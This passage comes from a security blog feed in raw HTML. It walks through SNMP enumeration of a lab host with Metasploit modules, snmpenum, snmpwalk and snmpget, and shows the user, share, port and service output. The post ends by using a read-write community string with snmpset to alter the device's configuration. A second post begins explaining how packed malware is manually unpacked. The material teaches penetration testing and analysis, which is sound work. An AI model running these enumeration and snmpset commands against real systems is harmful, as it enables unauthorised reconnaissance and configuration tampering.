auxiliary/scanner/snmp/snmp_enumusers&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;msf &amp;nbsp;auxiliary(snmp_enumusers) &amp;gt; run&lt;br /&gt;&lt;b&gt;[+] 172.72.5.141 Found Users: Administrator, Guest, HelpAssistant, IUSR_PLAYGROUND1, IWAM_PLAYGROUND1, SUPPORT_388945a0, playground&amp;nbsp;&lt;/b&gt;&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;We can also enumerate any open shares on the target using snmp_enumshares module.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;msf &amp;gt; info auxiliary/scanner/snmp/snmp_enumshares&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Name: SNMP Windows SMB Share Enumeration&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Module: auxiliary/scanner/snmp/snmp_enumshares&lt;br /&gt;&amp;nbsp; &amp;nbsp; Version: 11707&lt;br /&gt;&amp;nbsp; &amp;nbsp; License: Metasploit Framework License (BSD)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Rank: Normal&lt;br /&gt;Provided by:&lt;br /&gt;&amp;nbsp; tebo &amp;lt;tebo@attackresearch.com&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Basic options:&lt;br /&gt;&amp;nbsp; Name &amp;nbsp; &amp;nbsp; &amp;nbsp; Current Setting &amp;nbsp;Required &amp;nbsp;Description&lt;br /&gt;&amp;nbsp; ---- &amp;nbsp; &amp;nbsp; &amp;nbsp; --------------- &amp;nbsp;-------- &amp;nbsp;-----------&lt;br /&gt;&amp;nbsp; COMMUNITY &amp;nbsp;public &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Community String&lt;br /&gt;&amp;nbsp; RETRIES &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Retries&lt;br /&gt;&amp;nbsp; RHOSTS &amp;nbsp; &amp;nbsp; 172.72.5.141 &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target address range or CIDR identifier&lt;br /&gt;&amp;nbsp; RPORT &amp;nbsp; &amp;nbsp; &amp;nbsp;161 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target port&lt;br /&gt;&amp;nbsp; THREADS &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The number of concurrent threads&lt;br /&gt;&amp;nbsp; TIMEOUT &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Timeout&lt;br /&gt;&amp;nbsp; VERSION &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Version &amp;lt;1/2c&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Description:&lt;br /&gt;&amp;nbsp; This module will use LanManager OID values to enumerate SMB shares&lt;br /&gt;&amp;nbsp; on a Windows system via SNMP&lt;br /&gt;msf &amp;gt; use auxiliary/scanner/snmp/snmp_enumshares&lt;/span&gt;&lt;/blockquote&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;msf &amp;nbsp;auxiliary(snmp_enumshares) &amp;gt; run&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;[+] 172.72.5.141&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;Python27 - &amp;nbsp;(C:\Python27)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;Shared_field - &amp;nbsp;(C:\Shared_field)&lt;/b&gt;&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;To gather more information using SNMP, we can use '&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;snmpenum&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;'. This handy script uses the community strings we identified earlier to collect target system information. We need to give it the target host IP, community string, and the platform.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 172.72.5.141 public windows.txt&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;INSTALLED SOFTWARE&lt;br /&gt;----------------------------------------&lt;br /&gt;Adobe Flash Player 10 ActiveX&lt;br /&gt;FileZilla Client 3.3.5.1&lt;br /&gt;FileZilla Server (remove only)&lt;br /&gt;0xb5546f7272656e74&lt;br /&gt;WinRAR archiver&lt;br /&gt;Java(TM) 6 Update 25&lt;br /&gt;Python 2.7.1&lt;br /&gt;Java(TM) SE Development Kit 6 Update 25&lt;br /&gt;WebFldrs XP&lt;br /&gt;...snip...&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;UPTIME&lt;br /&gt;----------------------------------------&lt;br /&gt;53 minutes, 33.31&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;HOSTNAME&lt;br /&gt;----------------------------------------&lt;br /&gt;PLAYGROUND1&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;USERS&lt;br /&gt;----------------------------------------&lt;br /&gt;Guest&lt;br /&gt;playground&lt;br /&gt;Administrator&lt;br /&gt;HelpAssistant&lt;br /&gt;IUSR_PLAYGROUND1&lt;br /&gt;IWAM_PLAYGROUND1&lt;br /&gt;SUPPORT_388945a0&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;DISKS&lt;br /&gt;----------------------------------------&lt;br /&gt;A:\&lt;br /&gt;C:\ Label: &amp;nbsp;Serial Number&lt;br /&gt;D:\ Label:GRTMPVOL_EN&lt;br /&gt;Virtual Memory&lt;br /&gt;Physical Memory&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;RUNNING PROCESSES&lt;br /&gt;----------------------------------------&lt;br /&gt;System Idle Process&lt;br /&gt;System&lt;br /&gt;wuauclt.exe&lt;br /&gt;ctfmon.exe&lt;br /&gt;...snip...&lt;br /&gt;VMUpgradeHelper.exe&lt;br /&gt;VMwareUser.exe&lt;br /&gt;logonui.exe&lt;br /&gt;snmptrap.exe&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;LISTENING UDP PORTS&lt;br /&gt;----------------------------------------&lt;br /&gt;161&lt;br /&gt;162&lt;br /&gt;445&lt;br /&gt;500&lt;br /&gt;1032&lt;br /&gt;1039&lt;br /&gt;1045&lt;br /&gt;3456&lt;br /&gt;3527&lt;br /&gt;4500&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;SYSTEM INFO&lt;br /&gt;----------------------------------------&lt;br /&gt;Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;SHARES&lt;br /&gt;----------------------------------------&lt;br /&gt;Python27&lt;br /&gt;Shared_field&lt;br /&gt;C:\Python27&lt;br /&gt;C:\Shared_field&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;LISTENING TCP PORTS&lt;br /&gt;----------------------------------------&lt;br /&gt;25&lt;br /&gt;80&lt;br /&gt;135&lt;br /&gt;443&lt;br /&gt;445&lt;br /&gt;1040&lt;br /&gt;1042&lt;br /&gt;1801&lt;br /&gt;2103&lt;br /&gt;2105&lt;br /&gt;2107&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;SERVICES&lt;br /&gt;----------------------------------------&lt;br /&gt;Server&lt;br /&gt;Themes&lt;br /&gt;Event Log&lt;br /&gt;IIS Admin&lt;br /&gt;...snip...&lt;br /&gt;Background Intelligent Transfer Service&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;DOMAIN&lt;br /&gt;----------------------------------------&lt;br /&gt;WORKGROUP&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Another cool SNMP enumeration tool is '&lt;b&gt;snmpwalk&lt;/b&gt;'. We can use it to query the target for system information.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;We need to supply the SNMP version in use, community string and the target IP. As you can see below, it gives back detailed info on OIDs and corresponding values: &lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;snmpwalk -v 2c -c public 172.72.5.141 | more&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;SNMPv2-MIB::sysDescr.0 = STRING: Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)&lt;br /&gt;SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.311.1.1.3.1.1&lt;br /&gt;DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (96709) 0:16:07.09&lt;br /&gt;SNMPv2-MIB::sysContact.0 = STRING: Target@playground.mil&lt;br /&gt;SNMPv2-MIB::sysName.0 = STRING: PLAYGROUND1&lt;br /&gt;SNMPv2-MIB::sysLocation.0 = STRING: Playground&lt;br /&gt;SNMPv2-MIB::sysServices.0 = INTEGER: 76&lt;br /&gt;IF-MIB::ifNumber.0 = INTEGER: 3&lt;br /&gt;IF-MIB::ifIndex.1 = INTEGER: 1&lt;br /&gt;IF-MIB::ifIndex.2 = INTEGER: 2&lt;br /&gt;IF-MIB::ifIndex.65540 = INTEGER: 65540&lt;br /&gt;IF-MIB::ifDescr.1 = STRING: MS TCP Loopback interface&lt;br /&gt;IF-MIB::ifDescr.2 = STRING: AMD PCNET Family PCI Ethernet Adapter #2 - Packet Scheduler Miniport&lt;br /&gt;IF-MIB::ifDescr.65540 = STRING: AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport&lt;br /&gt;IF-MIB::ifType.1 = INTEGER: softwareLoopback(24)&lt;br /&gt;IF-MIB::ifType.2 = INTEGER: ethernetCsmacd(6)&lt;br /&gt;IF-MIB::ifType.65540 = INTEGER: ethernetCsmacd(6)&lt;br /&gt;IF-MIB::ifMtu.1 = INTEGER: 1520&lt;br /&gt;IF-MIB::ifMtu.2 = INTEGER: 1500&lt;br /&gt;IF-MIB::ifMtu.65540 = INTEGER: 1500&lt;br /&gt;IF-MIB::ifSpeed.1 = Gauge32: 10000000&lt;br /&gt;IF-MIB::ifSpeed.2 = Gauge32: 1000000000&lt;br /&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;After this, we can use 'snmpget' to further enumerate SNMP and collect value for a specific OID.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Let's say, we want to query the value for OID 'sysLocation.0'.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;snmpget -v 2c -c public 172.72.5.141 sysLocation.0&lt;/b&gt;&lt;br /&gt;--&amp;gt; SNMPv2-MIB::sysLocation.0 = STRING: Playground&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Cool, we see it has returned the currently configured value.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Remember, we also have a read-write privileged SNMP string - admin. Using the RW comm string, we can read and / or modify the end-target configuration easily; an attacker will use it to read / modify a router's running-config, for example.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;snmpset&lt;/b&gt;, as the name implies, can set OID values if we have the RW snmp string.&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;The below command uses the RW string - admin - to change the value of OID sysLocation.0, which is a string value [ 's' option ] - Playground - to a new value NewPlayground.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;snmpset -v 2c -c admin 172.72.5.141 sysLocation.0 s NewPlayground&lt;/b&gt;--&amp;gt; SNMPv2-MIB::sysLocation.0 = STRING: NewPlayground&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;++++++++++&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-374941130742332132?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/374941130742332132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/snmp-service-enumeration.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/374941130742332132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/374941130742332132'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/snmp-service-enumeration.html' title='SNMP service enumeration'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-4642007020694903010</id><published>2011-08-07T02:17:00.000+05:30</published><updated>2011-08-07T02:17:22.547+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='reversing malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Reverse Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='Analyzing packed malware executable'/><category scheme='http://www.blogger.com/atom/ns#' term='IDA Pro'/><category scheme='http://www.blogger.com/atom/ns#' term='Dissecting malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Manual unpacking'/><category scheme='http://www.blogger.com/atom/ns#' term='malware unpacking tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='Ollydbg'/><title type='text'>Analyzing Malware - Manually unpacking the specimen</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In continuation to reverse engineering malware series, this is the fifth post. I will recommend that you read my&amp;nbsp;&lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-begin.html"&gt;first&lt;/a&gt;,&amp;nbsp;&lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html"&gt;second&lt;/a&gt;,&amp;nbsp;&lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-ii.html"&gt;third&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href="http://ipositivesecurity.blogspot.com/2011/08/analyzing-malware-patching-in-way.html"&gt;fourth&lt;/a&gt;&amp;nbsp;posts to be in sync with whole exercise.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In previous posts, we performed behavioral and code analysis of the malware specimen - slackbot. We identified that the bot executable was packed with UPX packer. Since UPX has native unpacking capabilities as well, we had unpacked the specimen exe and learnt more about its code &amp;amp; operations during code analysis. Subsequently we were able to gain control over the bot.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;What if, the malware exe was packed with a packer which has no native unpacking capabilities. In such a case, the exe will have to be extracted manually. In this post, I will cover how Packing works and take you through manually unpacking a UPX-packed exe.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;Packing&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Packing is simply compressing and / or encrypting the executable. The actual code in a packed executable is obfuscated as well as the overall file size is reduced. This creates two prime benefits to a malware creator / attacker / user:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Low probability to get identified by AV / malware scanners.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;More difficult to analyze since the actual code is now obfuscated.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Easy distribution and faster loading into memory becomes possible due to low file size, for example, in drive-by downloads, trojans etc.&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;A packed executable has 2 components:&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Unpacker routine&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;li style="text-align: justify;"&gt;Packed original code&lt;/li&gt;&lt;/span&gt;&lt;/span&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;Original program ---&amp;gt; passes through ---&amp;gt; Packer ---&amp;gt; New program [ Unpacking routine + packed original program ]&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;The packer compresses and / or encrypts the original program and creates a new executable. The new executable carries the unpacking routine and the packed original program. The unpacking routine is responsible to unpack the original program when the new, packed exe is run. The original packed exe is unpacked into the memory of the system when unpacking stub is run. Prior to this, the original program can not be fully read in clear.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;How does a [ UPX ] packed executable run?&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Generally speaking, once a packed exe is run, the packed code [ both the unpacking routine and the packed original program code ] is loaded up in the memory. The program run starts at&amp;nbsp;&lt;u&gt;Original Entry Point [ OEP ]&lt;/u&gt;. In simple terms, OEP is like the main() function, in C, C++, C# etc programming languages. That is, OEP is the starting point of the program - the first instruction from where the execution will begin.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In case of a packed exe, the OEP points to the start of unpacking routine. This is because unless the unpacking routine executes, the original code can't be unpacked. When the unpacking routine has finished its run, the execution pointer jumps to the first instruction of the original program. This jump can be a simple JMP or may be tricky utilizing SEH / CALL / RET. Post jump, the actual unpacked program runs.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #333333; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;When UPX packs an executable, it consolidates all exe sections - .text, .data, .idata, etc - into one section called UPX1. This section UPX1 also contains the unpacking / decompression program stub. There are 2 other sections called UPX0 - has nothing - and UPX2 - has data &amp;amp; imports table.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span 